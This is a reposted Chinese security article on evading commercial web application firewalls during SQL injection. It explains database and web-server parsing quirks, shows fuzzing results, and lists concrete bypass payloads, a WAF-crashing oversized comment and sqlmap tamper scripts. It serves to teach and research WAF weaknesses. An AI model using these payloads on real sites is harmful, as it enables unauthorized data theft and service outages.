我的WafBypass之道(SQL注入篇)


原帖地址:https://xianzhi.aliyun.com/forum/read/349.html

0x00 前言

去年到現在就一直有人希望我出一篇關於waf繞過的文章,我覺得這種老生常 談的話題也沒什么可寫的。

很多人一遇到waf就發懵,不知如何是好,能搜到的各 種姿勢也是然並卵。

但是積累姿勢的過程也是迭代的,那么就有了此文,用來總 結一些學習和培養突破waf的思想。

可能總結的並不全,但目的並不是講那些網上 搜來一大把的東西,So…並不會告訴大家現有的姿勢,

而是突破Waf Bypass思維定勢達到獨立去挖掘waf的設計缺陷和如何實現自動化的Waf Bypass(這里只講主流 waf的黑盒測試)

0x01 搞起

當我們遇到一個waf時,要確定是什么類型的?先來看看主流的這些waf,狗、盾、神、鎖、寶、衛士等等。。。(在測試時不要只在官網測試,因為存在版本差異導致規則庫並不一致)

    雲waf

在配置雲waf時(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在請求uri時,數據包就會先經過雲waf進行檢測,如果通過再將數據包流給主機。

    主機防護軟件

在主機上預先安裝了這種防護軟件,可用於掃描和保護主機(廢話),和監聽web端口的流量是否有惡意的,所以這種從功能上講較為全面。這里再插一嘴,mod_security、ngx-lua-waf這類開源waf雖然看起來不錯,但是有個弱點就是升級的成本會高一些。

    硬件ips/ids防護、硬件waf(這里先不講)

使用專門硬件防護設備的方式,當向主機請求時,會先將流量經過此設備進行流量清洗和攔截,如果通過再將數據包流給主機。

再來說明下某些潛規則(關系):

百度雲加速免費版節點基於CloudFlare

安全寶和百度雲加速規則庫相似

創宇雲安全和騰訊雲安全規則庫相似

騰訊雲安全和門神規則庫相似

硬件waf自身漏洞往往一大堆

當Rule相似時,會導致一個問題,就比如和雙胞胎結婚曉得吧?嗯。

0x02 司空見慣

我們還需要把各種特性都記牢,在運用時加以變化會很有效果。

    數據庫特性

注釋:
#

-- 

-- - 

--+ 

// 

/**/ 
/*letmetest*/ 
;

利用注釋簡單繞過雲鎖的一個案例:

攔截的,但/**/ > 1個就可以繞過了,也就是/**//**/以上都可以。

科學記數法:

空白字符:


    SQLite3 0A 0D 0C 09 20
    MySQL5 09 0A 0B 0C 0D A0 20
    PosgresSQL 0A 0D 0C 09 20
    Oracle 11g 00 0A 0D 0C 09 20
    MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

+號:

-號:

``符號:

~號:

!號:

@`形式`:

點號.1:

單引號雙引號:

括號select(1):

試試union(select)雲盾會不會攔截

花括號:

這里舉一個雲盾的案例,並附上當時fuzz的過程:

    
    union+select 攔截
    select+from 不攔截
    select+from+表名 攔截
    union(select) 不攔截
    所以可以不用在乎這個union了。
    union(select user from ddd) 攔截
    union(select%0aall) 不攔截
    union(select%0aall user from ddd) 攔截
    fuzz下select%0aall與字段之間 + 字段與from之間 + from與表名之間 + 表名與末尾圓括號之間可插入的符號。
    union(select%0aall{user}from{ddd}) 不攔截。

Bypass Payload:


    1 union(select%0aall{x users}from{x ddd})
    1 union(select%0adistinct{x users}from{x ddd})
    1 union(select%0adistinctrow{x users}from{x ddd})

可運用的sql函數&關鍵字:


    MySQL:
    union distinct
    union distinctrow
    procedure analyse()
    updatexml()
    extracavalue()
    exp()
    ceil()
    atan()
    sqrt()
    floor()
    ceiling()
    tan()
    rand()
    sign()
    greatest()
    字符串截取函數
    Mid(version(),1,1)
    Substr(version(),1,1)
    Substring(version(),1,1)
    Lpad(version(),1,1)
    Rpad(version(),1,1)
    Left(version(),1)
    reverse(right(reverse(version()),1)
    字符串連接函數
    concat(version(),'|',user());
    concat_ws('|',1,2,3)
    字符轉換
    Char(49)
    Hex('a')
    Unhex(61)
    過濾了逗號
    (1)limit處的逗號:
    limit 1 offset 0
    (2)字符串截取處的逗號
    mid處的逗號:
    mid(version() from 1 for 1)
    MSSQL:
    IS_SRVROLEMEMBER()
    IS_MEMBER()
    HAS_DBACCESS()
    convert()
    col_name()
    object_id()
    is_srvrolemember()
    is_member()
    字符串截取函數
    Substring(@@version,1,1)
    Left(@@version,1)
    Right(@@version,1)
    (2)字符串轉換函數
    Ascii('a') 這里的函數可以在括號之間添加空格的,一些waf過濾不嚴會導致bypass
    Char('97')
    exec

Mysql BIGINT數據類型構造溢出型報錯注入: BIGINT Overflow Error Based SQL Injectionhttp://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html

    容器特性

%特性:

asp+iis的環境中,當我們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而沒特殊要求的waf當然是不會的:

修復方式應該就是檢測這種百分號%的周圍是否能拼湊成惡意的關鍵字吧。

%u特性:

iis支持unicode的解析,當我們請求的url存在unicode字符串的話iis會自動將其轉換,但waf就不一定了:

修復過后:

這個特性還存在另一個case,就是多個widechar會有可能轉換為同一個字符。

    
    s%u0065lect->select
    s%u00f0lect->select

WAF對%u0065會識別出這是e,組合成了select關鍵字,但有可能識別不出%u00f0

其實不止這個,還有很多類似的:

    字母a:
    %u0000
    %u0041
    %u0061
    %u00aa
    %u00e2
    單引號:
    %u0027
    %u02b9
    %u02bc
    %u02c8
    %u2032
    %uff07
    %c0%27
    %c0%a7
    %e0%80%a7
    空白:
    %u0020
    %uff00
    %c0%20
    %c0%a0
    %e0%80%a0
    左括號(:
    %u0028
    %uff08
    %c0%28
    %c0%a8
    %e0%80%a8
    右括號):
    %u0029
    %uff09
    %c0%29
    %c0%a9
    %e0%80%a9

畸形協議&請求:

asp/asp.net:
還有asp/asp.net在解析請求的時候,允許application/x-www-form-urlencoded的數據提交方式,不管是GET還是POST,都可正常接收,過濾GET請求時如果沒有對application/x-www-form-urlencoded提交數據方式進行過濾,就會導致任意注入。


php+Apache:

waf通常會對請求進行嚴格的協議判斷,比如GET、POST等,但是apache解析協議時卻沒有那么嚴格,當我們將協議隨便定義時也是可以的:

PHP解析器在解析multipart請求的時候,它以逗號作為邊界,只取boundary,而普通解析器接受整個字符串。 因此,如果沒有按正確規范的話,就會出現這么一個狀況:首先填充無害的data,waf將其視為了一個整體請求,其實還包含着惡意語句。

    ------,xxxx
    Content-Disposition: form-data; name="img"; filename="img.gif"
    GIF89a
    ------
    Content-Disposition: form-data; name="id"
    1' union select null,null,flag,null from flag limit 1 offset 1-- -
    --------
    ------,xxxx--
    通用的特性:

HPP:

HPP是指HTTP參數污染-HTTP Parameter Pollution。當查詢字符串多次出現同一個key時,根據容器不同會得到不同的結果。
假設提交的參數即為:id=1&id=2&id=3

    Asp.net + iis:id=1,2,3
    Asp + iis:id=1,2,3
    Php + apache:id=3

雙重編碼:

這個要視場景而定,如果確定一個帶有waf的site存在解碼后注入的漏洞的話,會有效避過waf。

    unlencode
    base64
    json
    binary
    querystring
    htmlencode
    unicode
    php serialize

我們在整體測試一個waf時,可測試的點都有哪些?

GET、POST、HEADER那么我們專門針對一個waf進行測試的時候就要將這幾個點全測試個遍,header中還包括Cookie、X-Forwarded-For等,往往除了GET以外其他都是過濾最弱的。

0x03 見招拆招

正則逃逸大法”:或許大家沒聽說過這個名詞,因為是我起的。我發現很多waf在進行過濾新姿勢的時候很是一根筋,最簡單的比方,過濾了%23%0a卻不過濾%2d%2d%0a?上面提到八成的waf都被%23%0a所繞過。



科學計數法1union、1from?多次被坑的安全寶&百度雲加速&Imperva:


過濾了union+select+from,那我select+from+union呢?使用Mysql自定義變量的特性就可以實現,這里舉一個阿里雲盾的案例:


由於后面在調用自定義變量的時候需要用到union+select,所以還需要繞過這個點。/*ddd*/union/*ddd*/select 就可以了。

Bypass Payload:

如何做到通過推理繞過waf?這里舉一個騰訊雲安全的案例:

繞過思路: 首先看看騰訊雲安全怎么檢測sql注入的,怎么匹配關鍵字會被攔截,怎么匹配不會?

union+select攔截

select+from攔截

union+from不攔截

那么關鍵的點就是繞過這個select關鍵字

select all

select distinct

select distinctrow

既然這些都可以,再想想使用這樣的語句怎么不被檢測到?select與all中間肯定不能用普通的/**/這種代替空格,還是會被視為是union+select。select all可以這么表達/*!12345select all*/,騰訊雲早已識破這種爛大街的招式。嘗試了下/*!*/中間也可以使用%0a換行。

/*!12345%0aselect%20all*/還是會被攔截,這就說明騰訊雲在語法檢測的時候會忽略掉數字后面的%0a換行,雖然屬於union+12342select,但簡單的數字和關鍵字區分識別還是做得到。再測試/*!12345select%0aall*/,結果就合乎推理了,根據測試知道騰訊雲安全會忽略掉%0a換行,這就等於union+12345selectall, 不會被檢測到。(忽略掉%0a換行為了過濾反而可以用來加以利用進行Bypass)


可能會問,推理的依據並不能真正意義上證明忽略掉了%0a啊?當然要證明下啊,/*!12345%0aselect%0aall*/就被攔截了,說明剛開始檢測到12345%0aselect就不再檢測后方的了,union+12345select就已經可以攔截掉了。


還可能會問,既然忽略掉了%0a,那么/*!select%0aall*/是不是也可以啊,然而並不行。合理的推理很有必要。
Bypass Payload:

    1' union/*!50000select%0aall*/username from users%23
    1' union/*!50000select%0adistinct*/username from users%23
    1' union/*!50000select%0adistinctrow*/username from users%23

不是繞不過狗,只是不夠細心:

    union+select攔截。
    select+from攔截。
    union+from不攔截。
    fuzz了下/*!50000select*/這個5位數,前兩位數<50 && 第二位!==0 && 后三位數==0即可bypass。(一點細節也不要放過。)


測試環境

    Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload:
    1' union/*!23000select*/user,password from users%23


這里證明一個觀點:好姿勢不是死的,零零碎碎玩不轉的姿勢巧妙的結合一下。所以說一個姿勢被攔截不代表就少了一個姿勢。

0x04 別按套路出牌

雲鎖版本迭代導致的 & 360主機衛士一直存在的問題:

注意POST那個方向,waf在檢測POST傳輸的數據過程中,沒有進行URL的檢測,也就是說waf會認為URL上的任何參數信息都是正常的。既然是POST請求,那就只檢測請求正文咯。(神邏輯)

在標准HTTP處理流程中,只要后端有接收GET形式的查詢字段,即使客戶端用POST傳輸,查詢字符串上滿足查詢條件時,是會進行處理的。(沒毛病)



當waf成了宕機的罪魁禍首是什么樣的?舉一個安全狗的案例:

/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/

注釋中包含超長查詢字符串,導致安全狗在識別的過程中掛掉了,連帶着整個機器Service Unavailable:

再舉一個雲鎖也是因為數據包過長導致繞過的案例:

雲鎖在開始檢測時先判斷包的大小是否為7250byte以下,n為填充包內容,設置n大小為2328時,可以正常訪問頁面,但是會提示攔截了SQL注入

當數據包超過2329時就可以成功繞過,2329長度以后的就不檢測了。?

0x05 猥瑣很重要

這里講個有意思的案例,並且是當時影響了安全寶、阿里雲盾的姿勢:
有次睡前想到的,emoji圖標!是的,平時做夢並沒有美女與野獸。當時只是隨便一想,第二天問了5up3rc,他說他也想過,但測試並沒有什么效果

emoji是一串unicode字集組成,一個emoji圖標占5個字節,mysq也支持emoji的存儲,在mysql下占四個字節:

既然在查詢的時候%23會忽略掉后面的,那么Emoji就可以插入到%23與%0A之間。再加多試了試,成功繞過了,200多個emoji圖標,只能多,但少一個都不行。。。

可能會說,這是因為超⻓查詢導致的繞過吧?並不是。

這么⻓,mysql也是會執行的:


我們再來測試阿里雲盾:

當縮少emoji數量的話會攔截,想想還是再加多些試試:

還是攔截,那剛才的沒攔截是怎么回事?點根煙,逐一進行排查。發現能繞過的原因和emoji數量無關,而是某個emoji可以。

就是這個憤怒的emoji,其他的emoji都不行。唯獨憤怒臉可以:

將這些emoji進行urlencode看看特征,究竟是什么原因?看看哪些emoji插入不會被攔截:

有些emoji進行urlencode后是很⻓的,因為是幾個emoji進行組合的。

將這些payload進行注入進去。

難道只有這個憤怒臉插入進去就可以繞過?也不能這么說,我發現能繞過的字符都是ascii碼超過了127的字符:

那為什么憤怒臉的emoji可以?這里提到emoji的特征,常⻅的emoji是四位組成,前三位多數是一致的,把這三位插入payload試試:

可以實現繞過,再來看看憤怒臉的urlencode:

最后一位是%a0,那么也就是說完全可以忽略掉最后一位,而多數emoji第四位是 ascii 127的字符,會導致waf引擎無法檢測。


0x06 自動化Bypass

首先總結下sqlmap的各種bypass waf tamper:

    apostrophemask.py 用UTF-8全角字符替換單引號字符
    apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符
    appendnullbyte.py 在payload末尾添加空字符編碼
    base64encode.py 對給定的payload全部字符使用Base64編碼
    between.py 分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=”
    bluecoat.py 在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等於號“=”
    chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
    charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
    charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
    concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
    equaltolike.py 用“LIKE”運算符替換全部等於號“=”
    greatest.py 用“GREATEST”函數替換大於號“>”
    halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL注釋
    ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
    lowercase.py 用小寫值替換每個關鍵字字符
    modsecurityversioned.py 用注釋包圍完整的查詢
    modsecurityzeroversioned.py 用當中帶有數字零的注釋包圍完整的查詢
    multiplespaces.py 在SQL關鍵字周圍添加多個空格
    nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用於過濾器
    overlongutf8.py 轉換給定的payload當中的所有字符
    percentage.py 在每個字符之前添加一個百分號
    randomcase.py 隨機轉換每個關鍵字字符的大小寫
    randomcomments.py 向SQL關鍵字中插入隨機注釋
    securesphere.py 添加經過特殊構造的字符串
    sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
    space2comment.py 用“/**/”替換空格符
    space2dash.py 用破折號注釋符“–”其次是一個隨機字符串和一個換行符替換空格符
    space2hash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
    space2morehash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
    space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
    space2mssqlhash.py 用磅注釋符“#”其次是一個換行符替換空格符
    space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
    space2mysqldash.py 用破折號注釋符“–”其次是一個換行符替換空格符
    space2plus.py 用加號“+”替換空格符
    space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
    unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT”
    unmagicquotes.py 用一個多字節組合%bf%27和末尾通用注釋一起替換空格符
    varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF
    versionedkeywords.py 用MySQL注釋包圍每個非函數關鍵字
    versionedmorekeywords.py 用MySQL注釋包圍每個關鍵字
    xforwardedfor.py 添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF

看起來很全,但有個缺點就是功能單一,靈活程度面對當今的主流waf來說很吃力了。
鑒於多數waf產品是使用Rule進行防護,那么這里也不提什么高大上的機器學習。就是簡單粗暴的fuzz。

去年黃登提到過建立有毒標示模型,根據這個模型將waf進行訓練。

我把每個sql關鍵字兩側可插入的點稱之為“位”,最基本的一句注入語句就有這些位:

    假設有n個有毒標示
    最基本的注入語句可以插入五個位
    這五個位定義為a1,a2...a5
    那么結果將會是多少呢?

這個是疊加的,關鍵字不止這些,稍微復雜一點的環境就會需要更多的關鍵字來注入,也就會需要fuzz更多的位。
還需要經過各種編碼過后,根據數據庫的樣式使用相應的特性和配合的函數等等。
當前幾個關鍵字達到繞過效果時,只需繼續fuzz后面幾個位即可。
還有就是傳輸過程中可測試的點:

因為當我們在傳輸的過程中導致的繞過往往是致命的,比如中間件的特性/缺陷,導致waf不能識別或者是在滿足特定條件下的欺騙了waf。

0x07 End

一寫起來就根本停不起來,后期決定出一系列waf繞過文,例如文件上傳、webshell防御、權限提升等Waf繞過。xss的bypass就算了,防不勝防…


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM